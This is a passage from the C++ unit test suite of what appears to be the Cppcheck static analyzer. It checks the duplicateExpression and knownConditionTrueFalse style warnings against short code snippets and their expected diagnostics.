check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n 